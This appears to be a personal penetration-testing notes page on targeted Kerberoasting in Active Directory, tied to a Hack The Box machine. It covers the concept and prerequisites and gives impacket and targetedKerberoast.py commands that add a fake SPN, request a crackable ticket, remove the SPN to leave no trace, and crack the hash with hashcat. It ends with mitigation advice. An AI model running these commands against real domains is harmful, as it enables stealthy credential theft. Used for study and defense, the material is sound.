Haiyahhh Hack Vault

Active Directory - Targeted Kerberoasting

3 min read

🧠 Active Directory - Targeted Kerberoasting

What is it?

  • Concept: Ordinary Active Directory - Kerberoasting only works against accounts that already have a Service Principal Name (SPN) registered. If an attacker holds GenericWrite/GenericAll over an account with no SPN, that restriction disappears — the attacker can simply write a fake SPN onto the target themselves, request a TGS for it, and crack the result exactly like a normal Kerberoast.
  • Impact: Turns a GenericWrite ACE on any user account — not just service accounts — into an offline password-cracking opportunity, without touching that account’s actual password (unlike resetting it via Active Directory - ACL Abuse (GenericAll & ForceChangePassword)).

How it works

The KDC hands back a Kerberos TGS encrypted with a target account’s NTLM hash for whatever SPN is requested, purely based on that SPN existing in servicePrincipalName — it doesn’t check whether the account was ever meant to run a service. Writing an arbitrary value into that attribute is a normal LDAP attribute write, so any principal with write access to it (via GenericWrite/GenericAll/WriteProperty on the servicePrincipalName attribute) can flip a regular user account into “kerberoastable” on demand, request the ticket, then optionally clean up by removing the SPN again to leave no lasting trace on the account.

Exploitation

Prerequisites

  • GenericWrite/GenericAll over a target user account (via BloodHound — an Outbound Object Control edge)

Attack Vectors

# Semperis' targetedKerberoast.py automates the whole cycle:
# set a temporary SPN -> request the TGS -> crack-ready hash -> remove the SPN
python3 targetedKerberoast.py -d <domain> -u '<user>' -p '<pass>' --dc-ip <dc_ip>
# Manual equivalent, for when the automated script isn't available
impacket-addspn -u '<domain>/<user>:<pass>' -s '<fake>/<target_user>' <target_user> -dc-ip <dc_ip>
impacket-GetUserSPNs '<domain>/<user>:<pass>' -dc-ip <dc_ip> -request-user <target_user>
# afterward, remove the SPN to restore the account to its original state
impacket-addspn -u '<domain>/<user>:<pass>' -s '<fake>/<target_user>' <target_user> -dc-ip <dc_ip> -r
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Notes

  • This is strictly more useful than resetting the target’s password outright when the goal is stealth or when overwriting real credentials isn’t acceptable (shared/engagement rules) — the account’s actual password is never touched, only a temporary attribute.
  • If the target account’s password is strong enough to survive the wordlist/rule attack, this technique yields nothing — it’s a cracking opportunity, not a guaranteed compromise, unlike a straight password reset.

Mitigation

  • Fix: Same as Active Directory - Kerberoasting — long, random service-account-style passwords resist offline cracking regardless of how the SPN got there. Additionally, restrict GenericWrite/attribute-write delegation on user objects to only what’s actually needed, since this technique depends entirely on that over-permissioning existing in the first place.
FileCreated
HTB - AdministratorWednesday, July 22nd 2026, 5:00:00 am

References:

Graph View

Backlinks